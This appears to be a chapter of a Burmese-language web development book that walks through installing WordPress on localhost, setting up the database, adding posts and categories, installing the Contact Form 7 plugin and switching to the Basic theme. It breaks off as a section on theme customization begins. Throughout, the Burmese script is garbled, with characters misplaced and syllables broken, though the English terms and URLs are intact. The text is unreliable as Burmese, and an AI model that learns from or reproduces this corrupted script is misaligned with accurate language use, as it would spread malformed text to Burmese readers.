ပဖဲေွဲ့စညး်ထားပပးီ  Blog  များ တည်ိ ဆာက်ြဖေိုဘ့က်ြကုိြအဓကိြဦးတညခ်ဲ့ပါတယ်။ ိနာက်ြပိုငး်မာှိတာ့ လပု်ိ ဆာငခ်ျက်ြ
ိတပွဖေည့်စွက်ြပါဝငလ်ာပပးီ  Website  အမျို းမျို း  ကုိြလညး်တည်ိ ဆာက်ြနိုငတ်ဲ့  General  Purpose  CMS  တစ်ခု
ပဖေစ်လာခဲ့ပါတယ်။ 

CMS  တစ်ခရုေဲ့အဓကိြလပု်ိ ဆာငခ်ျက်ြပဖေစ်တဲ့  Content  များစီမနံိုငပ်ခငး်၊  User  များစီမနံိုငပ်ခင်းတို့အပပင၊်  အပခား
ပဖေည့်စွက်ြ လပု်ိ ဆာငခ်ျက်ြများကုိြ Plugin များနဲ့တိုးချဲ့နိုငတ်ဲ့  CMS တစ်ခပုဖေစ်ပါတယ်။ ဒါအပပင် Theme အမျို းမျို း
ကုိြ  Install  လုပထ်ားပပးီ  Website  ရေဲ့  Template  အပပငအ်ဆငမ်ျားကိြု  Website  စီမံိ နတဲ့  Web Master  ကြ လို
သလို  အလယ်ွတစ်ကူြ  ိပပာငး်လနဲိုင်ိ စပါတယ်။  Website  မာှ  Content  များအပပင်  Widgets  လ့ုိိခါ်တဲ့
Component ိလးိတကုိွြ လညး် ထည့်သွငး်ိဖောပ်ပနိုငပ်ါတယ်။

http://magentocommerce.com/
http://moodle.org/
http://www.mediawiki.org/
http://elgg.org/
http://vanillaforums.org/
http://drupal.org/
http://www.joomla.org/
http://wordpress.org/
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Plugin  ိတ ွ Theme  ိတ ွ Widget  ိတနွဲ့ိ ပါငး်စပပ်ခငး်အားပဖေင့်  ရုိးရုိးအချက်ြအလက်ြိဖောပ်ပတဲ့  Website  တစ်ခု
ကြိန လပု်ိ ဆာငခ်ျက်ြိပါငး်များစွာပါဝငတ်ဲ့  Web  Portal  များအထိ  WordPress  နဲ့  ဖေနတ်းီတည်ိ ဆာက်ြနိုငပ်ါ
တယ်။  ဒလီိုိ တ ွ ဖေနတ်းီတည်ိ ဆာက်ြဖေို့  အတက်ွြ  WordPress  ကုိြ  ိကြာငး်ိကြာငး်နားလညတ်ဲ့  WordPress
Developer  တစ်ိယာက်ြပဖေစ်ဖေို့  လိုအပ်ိ ပမယ့်  ပါဝငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြိတ ွ စီမဖံေို့အတက်ွြကုိြိတာ့  Website
ိရေးသားနညး် တက်ြဖေို့မလိုပ ဲအနညး်ငယ် သငပ်ပိပးလိုက်ြယံုနဲ ့မညသူ်မဆုိစီမနံိုင်ိ စမာှ ပဖေစ်ပါတယ်။

WordPress  ကုိြ  Download  ရေယူနိုငသ်လို  wordpress.com မာှ  Register  လပုပ်ခငး်အားပဖေင့်  WordPress
Website  တစ်ခကုိုြ ဖေနတ်းီနိုငပ်ါတယ်။  Hosted Version  လ့ုိိခါ်ပါတယ်။  Code  ိတကုိွြလုံးဝထစိရောမလိုပဲ အင်
တာနက်ြမာှ အသင့် လွှင့်တငထ်ားပပီးပဖေစ်တဲ့  Website  တစ်ခကုိုြရေရေှိနိုငမ်ာှပဖေစ်ပါတယ်။ ကုိြယ်ပိုငလ်ပု်ိ ဆာငခ်ျက်ြိတွ
ပဖေည့်စွက်ြလိုသူများကြ  WordPress  ကုိြ  Download  ရေယူအသံုးပပုရေမာှပဖေစ်ပပးီ  ိပးထားတဲ့အတိုင်း  အသင့်သံုးလို
သူများကြိတာ ့Hosted Version မာှ အသံုးပပုနိုငမ်ာှပါ။

Installing WordPress
WordPress  ိနာက်ြဆံုး  Version  ကုိြ  wordpress.org မာှ  Download  ရေယူနိုငပ်ါတယ်။  စမး်သပ်အကြည့်နိုငဖ်ေို့
အတက်ွြ Download ရေယူထားတဲ့ Zip File ကုိြ Extract လပုပ်ပးီ wordpress ဆုိတဲ့ Folder အမညန်ဲပ့ဲ htdocs
Folder  ထဲမာှထားိပးရေပါတယ်။ ပပးီရေင်  Browser URL Bar  မာှ  http://localhost/wordpress/ လို့ထည့်သွငး်
လိုက်ြရေင ် ပုံ (၁၀-ခ) မာှပပထားသလို ရေလဒကုိ်ြရေရေှိမာှပဖေစ်ပါတယ်။

ပုံ (၁၀-ခ) WordPress Installation

http://localhost/wordpress/
http://wordpress.org/
http://wordpress.com/
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WordPress  ကုိြ  စတငအ်သံုးပပုနိုငဖ်ေိုအ့တက်ွြ  Database  နဲ့  ပတသ်က်ြတဲ့  အချက်ြအလက်ြိတ ွ ပဖေစ်တဲ့  Database
name, Database username, Database password, Database host  တို့ လိုအပ်ိ အကြာငး် ိဖောပ်ပိနပခငး် ပဖေစ်ပါ
တယ်။  ိပးထားတဲ့  Let's Go Button  ကုိြနှိပလ်ိုက်ြရေင်  ိနာက်ြတစ်ဆင့်အိနနဲ့  ပုံ  (၁၀-ဂ) မာှ  ိဖောပ်ပထားတဲ့
အတိုငး် Database Setting များထည့်သွငး်ိပးနိုငတ်ဲ့ Form တစ်ခရုေရေှိမာှ ပဖေစ်ပါတယ်။ 

ပုံ (၁၀-ဂ) WordPress Installation

Database  Name  သတမ်တှ်ိ ပးဖေို့  အရေငဆံု်း  phpMyAdmin  ကြိနတစ်ဆင့်  wordpress (သုိမ့ဟတု်)  မမိိ
နစ်ှသက်ြရော အမညန်ဲ့  Database တစ်ခု တည်ိ ဆာက်ြထားိပးရေမာှပါ။ လက်ြရေှိ  Form ရေဲ့  Database Name ိနရော
မာှိတာ့ နမနူာအိနနဲ့  wordpress လို့ပထဲည့်သွငး်ိပးထားပါတယ်။ မမိတိည်ိ ဆာက်ြထားတဲ့ Database အမည်
ကုိြ  မနှက်ြန်ိ အာင်  ထည့်သွငး်ိပးရေမာှ  ပဖေစ်ပါတယ်။  ဆက်ြလက်ြပပးီ  Database  User  အတက်ွြ  root လ့ုိ  ပဖေည့်
သွငး်ိပးပါ။ Password ကြိတာ ့သတမ်တှမ်ထားတဲ့အတက်ွြ Blank ထားလိုက်ြရေပါမယ်။ Database Host ကုိြိတာ့
localhost လို့ ပဖေည့်သွငး်ိပးရေမာှပဖေစ်ပါတယ။် 

Table Prefix  ဆုိတာကြ Database  တစ်ခတုညး်ကုိြ  WordPress Website  နစ်ှခသံုုးခကုြ ိဝမျှအသံုးပပုရေတဲ့အခါ
Table Name ိတတွူိ နလို့ အဆငမ်ိပပတာမျို းမပဖေစ်ရေိအာင်  Table Name ိတွိ ရေှ့ကြ ထည့်သွငး်သတမ်တှရ်ေမယ့်
အမညပ်ဖေစ်ပါတယ်။  ိလာိလာဆယ်  Website  နစ်ှခသံုုးခကုိုြ  Database  တစ်ခတုညး်ိဝမျှသံုးဖေိုမ့လိုအပ်ိ သးလို့
Table Prefix ကုိြ အထးူပပငမ်ိနိတာပ့ဲ ိပးထားတဲ့အတိုငး် wp_ လို့ပထဲားလိုက်ြနိုငပ်ါတယ်။ အားလုံးပပည့်စံုပပီ ဆုိ
ရေင်  Submit ကုိြ  နှိပလ်ိုက်ြပါ။  ထည့်သွငး်ိပးလိုက်ြတဲ့  အချက်ြအလက်ြများ  အဆင်ိ ပပမနှက်ြနတ်ယ်ဆုိရေင်  ိနာက်ြ
တစ်ဆင့်မာှအဆင်ိ ပပ ိအကြာငး်ိဖောပ်ပတဲ့ Message ကုိြိတွ့ရေ မာှပဖေစ်ပါတယ်။ 
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မတ်ှချကြ်  ။  ။ ပဖေည့်စကွြမ်ှုကြမာှးိနလုိ့  အဆငမ်ိပပရေင်ိ တာ့  မာှးိနိအကြာငး်ိပပာလာမာှပါ။  အဲ့ဒလုိီမာှးိနိအကြာငး်  ိပပာလာရေင်
ိတာ ့ကြျွန်ိ တာတုိ် ့ပဖေည့်စကွြခ်ဲ့တ့ဲ အချကြအ်လကြ်ိ တွကြို ပပနလ်ညစ်စ်ိ ဆး ပပငဆ်င်ိ ပးရေပါမယ။်

ိနာက်ြတစ်ဆင့်  Message နဲ့အတပူါဝငလ်ာတဲ့  Run the install Button ကုိြ နှိပလ်ိုက်ြရေင်  ပုံ  (၁၀-ဃ) မာှပပထား
တဲ့အတိုငး် တည်ိ ဆာက်ြလိုတဲ့  Website  နဲ့ပတသ်က်ြတဲ့  Information  ိတထွည့်သွငး်နိငုတ်ဲ့  Form  တစ်ခု ရေရေှိမာှ
ပဖေစ်ပါ တယ်။

ပုံ (၁၀-ဃ) WordPress Installation

Website  Title  နဲ့အတူ  Content  ိတပွပငဆ်ငမ်ယ့်  Web  Master  အတက်ွြ  Admin  Username,  Admin
Password, Email တို့ကုိြ ပဖေည့်စွက်ြိပးရေမာှပဖေစ်ပါတယ်။ Site Title ကုိြ နစ်ှသက်ြသလိုိ ပးနိုငပ်ါတယ်။ Username
ကုိြလညး်နစ်ှသက်ြ ရောိပးနိုငပ်ါတယ်။ ိလာိလာဆယ်ိတာ့ မတှရ်ေလယ်ွိအာင် ိပးထားအတိုငး် admin လို့ပဲ ထား
လိုက်ြိစချငပ်ါတယ်။  Password  ကုိြလညး်မတှရ်ေလယ်ွမယ့်  Password  တစ်ခပုဲိ ပးပါ။ ကုိြယ့်စက်ြထမဲာှစမး်သပ်ိ န
တာမို့ Password လွယ်ိနတာ ပပဿနာမရေှိပါဘးူ။ အငတ်ာနက်ြမာှ လွှင့်တငတ်ဲ့အခါကြျမ ှStrong ပဖေစ်တဲ့ Password
သတမ်တှ်ိ ပးနိုငပ်ါတယ်။

လိုအပတ်ဲ့အချက်ြအလက်ြိတပွဖေည့်စွက်ြပပီးသွားရေင်  Install  WordPress Button  ကုိြနှိပလ်ိုက်ြပါ။  WordPress  ကြ
ကြျွန်ိ တာတ်ို့ သတမ်တှ်ိ ပးထားတဲ့ WordPress Database ထဲမာှ လိုအပတ်ဲ့ Table ိတ ွအလိုအိလျာက်ြ ိဆာက်ြ
သွားပါလမိ့်မယ့်။  လုပင်နး်ိတပွပးီပပီဆုိရေင်  ိနာက်ြတစ်ဆင့်မာှ  Success Message  တစ်ခကုိုြ  ိဖောပ်ပိပးမာှပဖေစ်ပပးီ
Back-End Interface ကုိြ  Login ဝင်ိ ရောက်ြနိုငဖ်ေို့  Log In Button တစ်ခကုိုြတွဲဖေက်ြိပးလာပါလမိ့်မယ်။ Button
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ကုိြနှိပလ်ိုက်ြပါ။ Username နဲ့  Password လာိတာငး်ပါလမိ့်မယ။် ကြျွန်ိ တာတ်ို့ သတမ်တှ်ိ ပးခဲ့တဲ့  Username နဲ့
Password  ကုိြပဖေည့်သွငး်ပပးီ  Login  ဝငလ်ိုက်ြတဲ့  အခါ  ပုံ  (၁၀-င) မာှ  ပပထားသလို  WordPress  Admin
Dashboard ကုိြိတွ့ရေမာှပဖေစ်ပါတယ်။ 

ပုံ (၁၀-င) WordPress Admin Dashboard

Content Management with WordPress
အခုဆုိရေင် WordPress Website တစ်ခု Setup လုပပ်ပးီသွားပပပီဖေစ်ပါတယ်။ Content ထည့်သွငး်စီမပံခငး်ကုိြ  စတင်
ိဆာငရ်ေက်ွြနိုငပ်ါပပ။ီ လက်ြရေှိ URL ကုိြမတှသ်ားထားသင့်ပါတယ်။ ိနာက်ြပိုင်း Content များစီမလံိုတိုငး် အ့ဲဒီ URL
ကြ  တစ်ဆင့်  Back-End  Interface  ကုိြ  ဝင်ိ ရောက်ြရေမာှပါ။  http://localhost/wordpress/wp-admin/ ပဖေစ်ပါ
တယ်။ ကြျွန်ိ တာတ်ို့  Setup  လုပပ်ပးီသွားပပီ ပဖေစ်တဲ့  Website  အိပခအိနကုိြအကြည့်ရှုဖေို့အတက်ွြ  (Tab  အသစ်တစ်ခု
ဖေငွ့်ပပးီ) URL Bar  မာှ  http://localhost/wordpress/ လို့ ထည့်သွငး်အကြည့်ရှုနိုငပ်ါတယ်။  ပုံ  (၁၀-စ)  မာှပပထား
သက့ဲြသုိ့  Website  ိခါငး်စဉ်,  Navigation Menu  တစ်ခနုဲ့  WordPress  ကြ နမနူာအိနနဲ့ထည့်သွင်းိပးထားတဲ့
Content အချို ့ကုိြ ိတွ့  ပမငရ်ေမာှပဖေစ်ပါတယ်။ 

http://localhost/wordpress/
http://localhost/wordpress/wp-admin/
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ပုံ (၁၀-စ) WordPress Website - Front-End

WordPress မာှ အဓကိြ Content အမျို းအစားနစ်ှမျို းရေှိပါတယ်။ Post နဲ့  Page ပဖေစ်ပါတယ်။ Post ိတကုိွြ အိပခခံ
အားပဖေင့်  Website ရေဲ့  Home Page မာှတနး်စီိဖောပ်ပထားမာှပဖေစ်ပါတယ်။ Page ိတကုိွြိတာ့  Navigation Menu
ကြိန တစ်ဆင့်ဝင်ိ ရောက်ြပပးီ စာမျက်ြနာှအလိုက်ြ အကြည့်ရှုနိုငမ်ာှပဖေစ်ပါတယ်။ နမနူာအိနနဲ့  "Hello world!"  ဆုိတဲ့
ိခါငး်စဉန်ဲ့ နမနူာ  Post  တစ်ခကုိုြ ထည့်သွငး်ိပးထားပါတယ်။  Post  ိခါငး်စဉကုိ်ြနှိပအ်ကြည့်လိုက်ြရေင်  Post  မာှပါဝင်
တဲ့  အချက်ြအလက်ြ  အားလုံးကုိြ  ိနာက်ြတစ်မျက်ြနာှအိနနဲ့  ိဖောပ်ပိပးမာှပါ။  အ့ဲဒီ  Post  View  စာမျက်ြနာှထမဲာှ
အသံုးပပုသူကြ  Comment  ိပး  လုိရေင်  ိပးနိုငတ်ဲ့  Comment  Form  တစ်ခလုညး်  တွဲဖေက်ြပါဝငမ်ာှပဖေစ်ပါတယ။်
Comment များ ထည့်သွငး်စမ်းသပအ်ကြည့် နိုငပ်ါတယ်။

Post အသစ်တစ်ခု ထည့်သွငး်ဖေို့အတက်ွြ Browser URL မာှ  http://localhost/wordpress/wp-admin/ လို့ထည့်
သွငး်ပပီး  Admin  Dashboard  ကုိြဝင်ိ ရောက်ြလိုက်ြပါ။  အရေငဦ်းဆံုး  Post  မထည့်သွငး်မီ  Post  Category  အမျို း
အစားများ ကုိြ စီစဉထ်ားသင့်ပါတယ်။ ဒါိအကြာင့် Admin Dashboard ရေဲ့ဘယ်ဘက်ြ Sidebar Menu ထဲကြ Posts
ကုိြနှိပလ်ိုက်ြပါ။ ပပးီရေင ်Categories Menu ကုိြ ထပန်ှိပ ်လိုက်ြပါ။

http://localhost/wordpress/wp-admin/
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ပုံ (၁၀-ဆ) Post categories

Categories များစီမနံိုငတ်ဲ့ Interface တစ်ခကုိုြ ရေရေှိပါလမိ့်မယ်။ Add New Category Form ကြိန ထည့်သွငး်လို
တဲ့  Category  တစ်ချို ့ထည့်သွငး်ိပးလိုက်ြပါ။  ပပးီိတာမ့ှ  Post  အသစ်တစ်ခု  စမး်သပထ်ည့်သွငး်  နိုငဖ်ေို့  Sidebar
Menu  ထကဲြိနပဲ  Posts Section  ိအာက်ြကြ  Add New ကုိြ နှိပ်ိ ပးလိုက်ြပါ။  ပုံ  (၁၀-ဇ) မာှပပထားသလို  New
Post Form တစ်ခကုိုြ ရေရေှိမာှပဖေစ်ပါတယ်။

ပုံ (၁၀-ဇ) New Post Interface

New Post Form မာှ Post Title နဲ့ Post Body တို့ကုိြထည့်သွငး်ိပးနိုငပ်ါတယ်။ နစ်ှသက်ြရော Content တစ်ချို ့ကုိြ
ထည့်သွငး်ိပးလိုက်ြပါ။  Post Body  မာှထည့်သွငး်တဲ့  Content  ိတကုိွြ  Format  တစ်ခါတညး် လုပန်ိုငဖ်ေို့   Rich-
Text-Editor  တစ်ခလုညး် ိပးထားတာကုိြ ိတွ့ရေမာှပဖေစ်ပါတယ်။  Image  ိတ၊ွ  Video  ိတကုိွြပါ  Post  Body
အတငွး်မာှ ထည့်သွငး်နိုငပ်ါတယ်။ ပပးီရေင် ညာဘက်ြပခမး်မာှရေှိတဲ့ Categories Box ထဲကြိန လက်ြရေှိထည့်သွငး်ိနတဲ့
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Post  အတက်ွြ  သတမ်တှလ်ိုတဲ့  Category  ကုိြိရေးွချယ်  ိပးနိုငပ်ါတယ်။  Category  တစ်ခထုက်ြပိုပပီးိတာလ့ညး်
သတမ်တှန်ိုငပ်ါတယ်။  အားလုံးစံုပပဆုိီရေင်  ညာဘက်ြပခမး်မာှပရဲေှိိ နတဲ့  Publish Button  ကုိြ  နှိပပ်ခငး်အားပဖေင့်  Post
အသစ်တစ်ခကုြို ထည့်သွငး် လုိက်ြနိုငပ်ါတယ်။ Publish လုပပ်ပးီရေင် ရေလဒအ်ကြည့်ရှုနိုငဖ်ေိုအ့တက်ွြ Browser URL Bar
မာှ http://localhost/wordpress/ လ့ုိ ထည့် သွငး်အကြည့်ရှုနိုငပ်ါတယ်။ ကြျွန်ိ တာတ်ို့လက်ြတစ်ိလာထည့်သွင်းလိုက်ြ
တဲ့ Post အသစ်ကုိြ Home Page မာှိဖောပ်ပိပးိနတာကုိြ ိတွ့ရေမာှပဖေစ်ပါတယ်။

Post များ Edit လုပပ်ခငး်၊ ပယ်ဖေျက်ြပခငး်တို့ကြိုိ တာ့ ကုိြယ်တိုငပ်စဲမး်သပအ်ကြည့်ပါိတာ။့ Sidebar Menu ထဲကြ All
Posts  Option  ကြိနတစ်ဆင့်ိ ဆာငရ်ေက်ွြနိုငပ်ါတယ်။ တစ်ပခား  Option  များကုိြ ကုိြယ်တိုငပ်အဲချနိ်ိ ပးပပးီ ိလ့လာ
အကြည့် ိစချငပ်ါတယ်။ 

Website ိခါငး်စဉ်ိ ပပာငး်ပခင်းနဲ့ အပခား  Setting များကုိြ Setting Option မာှပပုလပုန်ိုငပ်ါတယ်။ လက်ြရေှိ Login
ဝငထ်ားသူရေဲ့  Password  နဲ့  Information  တို့ကုိြိတာ့  Users Option  ိအာက်ြကြ  My Profile မာှပပငဆ်ငန်ိုငပ်ါ
တယ်။  အပခား  User  Account  များလိုအပရ်ေငလ်ညး်  Users Option  ထဲမာှပဲ  အသစ်ထည့်သွင်းိပးနိုငပ်ါတယ။်
အသံုးပပုသူများ  ထည့်သွငး်ထားတဲ့  Comment  များကုိြစီမပံခငး်၊  Comment  ိပးခငွ့်  ပပု/မပပု  စီမပံခငး်တို့ကုိြ
Comment Option ိအာက်ြမာှသတမ်တှန်ိုငပ်ါတယ်။ Content များနဲ့အတူ တွဲဖေက်ြိဖောပ်ပလိုတဲ့ပုံ၊ Video နဲ့ အပခား
File များကုိြ Media Options မာှ စီမနံိုငပ်ါတယ်။

WordPress Plugins
WordPress  ရေဲ့  လုပ်ိ ဆာငခ်ျက်ြများကုိြ  Plugin  များနဲ့  ပဖေည့်စွက်ြနိုငပ်ါတယ်။  http://wordpress.org/extend/
plugins/ (Plugin Directory) မာှိလလ့ာပပးီ ထည့်သွငး်အသံုးပပုလိုတဲ့ Plugin ကုိြ Download ရေယူနိုငပ်ါတယ်။
လက်ြရေှိ  WordPress Plugin Directory  မာှ  Plugin  ိပါငး်  (၄၀၀၀၀)  ိကြျာ်  ရေှိိ နပါတယ်။ ဒါတငမ်ကြ အခမဲ့
(သုိမ့ဟတု်)  အခိပးဝယ်ယူရေနိုငတ်ဲ့  Premium Quality Plugin  ိတကုိွြလညး် သီးပခား  Website  များမာှ ကုိြယ့်
နညး်ကုိြယ့်ဟနန်ဲ့ ဖေနတ်းီိရောငး်ချိနတာိတ ွရေှိပါိသးတယ်။

အခန်း  (၅) မာှ  jQuery Plugin ိတွိ ဖောပ်ပခဲ့စဉက်ြိပပာဖေးူခဲ့သလိုပါပ။ဲ  Plugin  ဆုိတာ Developer  ိတကွြ အမျို း
မျို း  ိရေးသားဖေနတ်းီထားအကြတာမို့  အသံုးပပုပုိံ တ ွ တစ်ခနုဲ့တစ်ခု  အတအိကြျတညူမီာှမဟတုပ်ါဘးူ။  အသံုးပပုလိုတဲ့
Plugin နဲ့ အတူ တွဲဖေက်ြပါဝငလ်ာတဲ့ Manual ိတ ွReadme ိတကုိွြဖေတရ်ှု ိလ့လာပပးီ ပါဝငလ်ာတဲ့ညနွအ်ကြားချက်ြ
များအတိုငး် ိဆာငရ်ေက်ွြရေမာှပဖေစ်ပါတယ်။ နမနူာတစ်ခု ိဖောပ်ပိပးပါမယ်။

Website အသံုးပပုသူိတကွြ Web Master ထံ Email ိပးပို့နိုငတ်ဲ့ Contact Form တစ်ခကုိုြ Plugin အကူြအညနီဲ့
ထည့်သွငး်ပါမယ်။  WordPress Plugin Directory  မာှ  "contact"  ဆုိတဲ့  Keyword  နဲ့  ကြျွန်ိ တာရ်ောှအကြည့်တာ
ရေလဒ်  (၁၇) ခထုရိေရေှိပါတယ်။ ပုံမနှ်ဆုိရေင် အဲဒ့ီ  Plugin  ိတရွေဲ့  Description ိတကုိွြ တစ်ခပုခငး်လိုက်ြဖေတပ်ပးီ ကုိြယ့်
လိုအပခ်ျက်ြနဲ့ အကုိြက်ြညဆံုီးပဖေစ်နိုငမ်ယ့် Plugin ကုိြ ိရေးွချယ်စမး်သပရ်ေမာှပါ။ လက်ြရေှိ Popular အပဖေစ်ဆံုး Contact
Plugin ကြ Contact Form 7 အမညရ်ေ Plugin ပဖေစ်ပါတယ်။ ိအာက်ြပါလပိစ်ာမာှ Download ရေယူနိုငပ်ါတယ်။

https://wordpress.org/plugins/contact-form-7/

https://wordpress.org/plugins/contact-form-7/
http://wordpress.org/extend/plugins/
http://wordpress.org/extend/plugins/
http://localhost/wordpress/
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စမး်သပ်အကြည့်နိုငဖ်ေို့အတက်ွြ Download ရေယူထားတဲ့ Zip File ကုိြ Extract လပုယူ်လိုက်ြပါ။ ရေရေှိလာတဲ့ contact-
form-7 Folder  ကုိြ  WordPress  ရေဲ့  Plugins Folder  ပဖေစ်တဲ့  htdocs/wordpress/wp-content/plugins/
မာှထည့်သွင်းိပးရေပါမယ်။  Folder  ိနရောချထားပပီးရေင်  Admin  Dashboard  ရေဲ့  Sidebar  Menu  ကြ  Plugins
Option ကုိြ ိရေးွချယ်ိပးပါ။ ပုံ (၁၀-ဈေ) မာှိဖောပ်ပထားသလို Plugin စာရေငး် ိဖောပ်ပိနတဲ့ ရေလဒရ်ေရေှိမာှပဖေစ်ပါတယ်။

ပုံ (၁၀-ဈေ) WordPress Plugins

Plugin  စာရေငး်ိဖောပ်ပိနတဲ့အထမဲာှ  Contact  Form 7  ဆုိတဲ့အမညန်ဲ့  Plugin  တစ်ခရုေှိိ နရေပါမယ်။ အကြယ်၍ ရေှိ
မိနဘးူဆုိရေင် Plugin Folder ကုိြိနရောချထားတာလွဲိ နလို့ပဖေစ်နိုငပ်ါတယ်။ ပပနလ်ညစ်စ်ိဆးိပးရေပါမယ်။  Plugin
ိတကုိွြ စတင် အသံုးပပုနိုငဖ်ေို့  Activate  လပု်ိ ပးရေပါတယ်။  Plugin  အမည်ိ အာက်ြမာှ  Activate Option  တွဲဖေက်ြ
ပါဝငမ်ာှပဖေစ်ပါတယ်။ နှိပပ်ပးီ  Activate လုပ်ိ ပးဖေို့ လိုအပပ်ါတယ်။ Activate လပုပ်ပးီပပဆိီရုေင်  ပုံ  (၁၀-ဈေ) မာှိဖောပ်ပ
ထားသလို  Activate  လုပထ်ားပပးီသား  Plugin  ရေဲ့ိအာက်ြမာှ  Settings  နဲ့  Deactivate  ဆုိတဲ့  Option  ိတကွြ
အစားထိုးပါဝငသွ်ားမာှပဖေစ်ပါတယ်။

ပုံ (၁၀-ည) Contact Form 7
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Contact Form 7 ကုိြ Activate လုပလ်ိုက်ြတဲ့ အခါ Sidebar Menu ထမဲာှ လညး် Contact အမညန်ဲ့ Option တစ်
ခတုိုးသွားတာကုိြ  ိတွ့ရေမာှပဖေစ်ပါတယ်။  အ့ဲဒီ  Option  ကုိြနှိပအ်ကြည့်လိုက်ြရေင်  ပုံ  (၁၀-ည) မာှိဖောပ်ပထားသလို
Contact  Form  များ  Setup  လုပလ်ို့ရေနိုငမ်ယ့်  Interface  ကုိြိတွ့ရေမာှပါ။  Contact  Form 1  ဆုိတဲ့  ိခါငး်စဉ်
ိအာက်ြနားမာှ Highlight လုပပ်ပးီ ိဖောပ်ပထားတဲ့ [Short Code] ကုိြ သတပိပုပါ။ WordPress Plugin ိတကွြိပး
တဲ့  ပဖေည့်စွက်ြလပု်ိ ဆာငခ်ျက်ြများကုိြ  Content  နဲ့အတထူည့်သွင်းဖေို့အတက်ွြ  အ့ဲဒလီို  Short  Code  ိလးိတကုိွြ
အသံုးပပုရေပါတယ်။ Copy ကူြးယူထားလိုက်ြပါ။ ပပးီရေင် ပုံ  (၁၀-ဋ) မာှပပထားသလို Contact အမညန်ဲ့ Page အသစ်
တစ်ခ ုတည်ိ ဆာက်ြပပးီ Page Body ိနရောမာှ အဲဒ့ ီShort Code ကုိြထည့်သွင်းိပးလိုက်ြပါ။ 

ပုံ (၁၀-ဋ) Publishing Contact Page

Short Code ထည့်သွငး်ပပးီရေင်  Page ကုိြ  Publish  လပုလ်ိုက်ြပါ။ ရေလဒကုိ်ြအကြည့်ရှုဖေို့အတက်ွြ Front-End ကုိြ သွား
ပပးီ Navigation Menu ကြိန Contact ကုိြနှိပလ်ိုက်ြရေင် Contact Form တစ်ခုိ ဖောပ်ပိနတဲ့ Page ကုိြရေရေှိမာှ ပဖေစ်ပါ
တယ်။

WordPress Themes
ဆက်ြလက်ြပပးီ WordPress Website တစ်ခရုေဲ့  Design အပပင်အဆငမ်ျားကုိြ Themes များအသုံးပပုပပးီ ိပပာငး်နိုငပ်ုံ
ကုိြ  ိဖောပ်ပပါမယ်။  WordPress  Themes  Directory  ပဖေစ်တဲ့  http://wordpress.org/extend/themes/ မာှ
လိုအပခ်ျက်ြနဲ့ ကုိြက်ြညရီော Theme များကုိြ ရောှိဖေရွေယူနိုငပ်ါတယ်။ လက်ြရေှိ Themes Directory မာှ Theme ိပါငး်
(၂၀၀၀)  ိကြျာရ်ေှိ ိနပါတယ်။ ဒါတငမ်ကြ အခမဲ့  (သုိမ့ဟတု်)  အခိပးဝယ်ယူရေနိုငတ်ဲ့  Premium Quality Theme
ိတကုိွြလညး် သီးပခား Website များကြကုိြယ့်နညး် ကုိြယ့်ဟနန်ဲ့ ဖေနတ်းီိရောငး်ချိနတာိတ ွရေှိပါိသးတယ်။

တစ်ချို ့  Themes ိတကုိွြ WordPress အဖေွဲ့ကြပဲ ိရေးသားိပးထားတာိတရွေှိိ ပမယ့် အများစုကြိတာ့  Developer
ိတကွြ  မမိတိိုန့စ်ှသက်ြရောဒဇုိီငး်ပုံစံများနဲ့  အမျို းမျို းိရေးသားဖေနတ်းီအကြတာပဖေစ်ပါတယ်။  ဒါိအကြာင့်  အိသးစတိ်
အသံုးပပုပုိံ တ ွတစ်ခနုဲတ့စ်ခု  တညူမီာှမဟတုပ်ါဘးူ။  အသံုးပပုလိုတဲ့  Theme  နဲ့အတတူွဲဖေက်ြပါဝငလ်ာတဲ့  Manual
ိတ ွReadme ိတကုိွြဖေတရ်ှု လလ့ာပပးီ ပါဝငလ်ာတဲ့ညနွအ်ကြားချက်ြများအတိုင်း ိဆာငရ်ေက်ွြရေမာှပဖေစ်ပါတယ်။ နမနူာ
တစ်ခကုိုြ ိဖောပ်ပိပးပါမယ်။

http://wordpress.org/extend/themes/
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Food  နဲ့  Fashion Blog  ိတမွာှအသုံးများတဲ့  Theme  တစ်ခပုဖေစ်တဲ့  Basic  အမညရ်ေ  Theme  ကုိြ စမး်သပထ်ည့်
သွငး်အကြည့် ချငပ်ါတယ်။ ိအာက်ြပါလပိစ်ာမာှ Download ရေယူနိုငပ်ါတယ်။

https://wordpress.org/themes/basic/

Download ရေယူထားတဲ့ဖေိုငကုိ်ြ Extract လုပယူ်ပပးီ ရေရေှိလာတဲ့ basic အမညရ်ေှိ Folder ကုိြ WordPress Theme
Folder ပဖေစ်တဲ့ htdocs/wordpress/wp-content/themes/ ထဲမာှ သွားိရောက်ြထည့်သွငး်ိပးပါ။ ပပးီရေင်
Admin Dashboard ကုိြပပနဝ်ငပ်ပးီ ပုံ (၁၀-ဌ) မာှိဖောပ်ပထားသလို Appearance ိအာက်ြကြ Themes ကုိြိရေးွချယ်
ိပးပါ။

ပုံ (၁၀-ဌ) WordPress Themes Management

Available Themes Section  ိအာက်ြမာှ ကြျွန်ိ တာတ်ို့ထည့်သွငး်လိုက်ြတဲ့  Basic  ကုိြလညး်ိတွ့ရေမာှပဖေစ်ပါတယ်။
အ့ဲဒီ Theme ကုိြ ိပပာငး်ပပးီအသုံးပပုဖေို့အတက်ွြ Activate ကုိြ နှိပ်ိ ပးလိုက်ြ ရေမာှပဖေစ်ပါတယ်။ 

ရေလဒကုိ်ြအကြည့်ရှုနိုငဖ်ေို့ http://localhost/wordpress/ လို့ထည့်သွငး်ပပးီ  Front End ကုိြသွားအကြည့်ရေင် ပုံ (၁၀-ဍ) မာှ
ပပထားသလို ကြျွန်ိ တာတ်ို့ Website ကြ Site Design ကုိြ Basic Theme အသံုးပပုပပးီိဖောပ်ပိနတာကုိြိတွ့ရေမာှ ပဖေစ်
ပါ တယ်။

http://localhost/wordpress/
https://wordpress.org/themes/basic/


Professional Web Developer - အခန်း (၁၀) Content Management System - CMS 353

ပုံ (၁၀-ဍ) WordPress with Basic Theme

ဒနီညး်နဲ့ ကြျွန်ိ တာတ်ို့နစ်ှသကြတ်ဲ့  Template ိတကုိွြ စုစညး်ထည့်သွငး်ထားပပးီ လိုအပတ်ဲ့အခါိပပာငး်လဲ အသံုးပပု
နိုငမ်ာှ ပဖေစ်ပါတယ်။

Customizing WordPress Theme
WordPress ကုိြ ကြျွန်ိ တာတ်ိုလ့ိုအပခ်ျက်ြနဲ့ အတအိကြျကုိြက်ြညတီဲ့ လုပ်ိ ဆာငခ်ျက်ြိတ၊ွ  Layout အပပင ်အဆင်ိ တွ
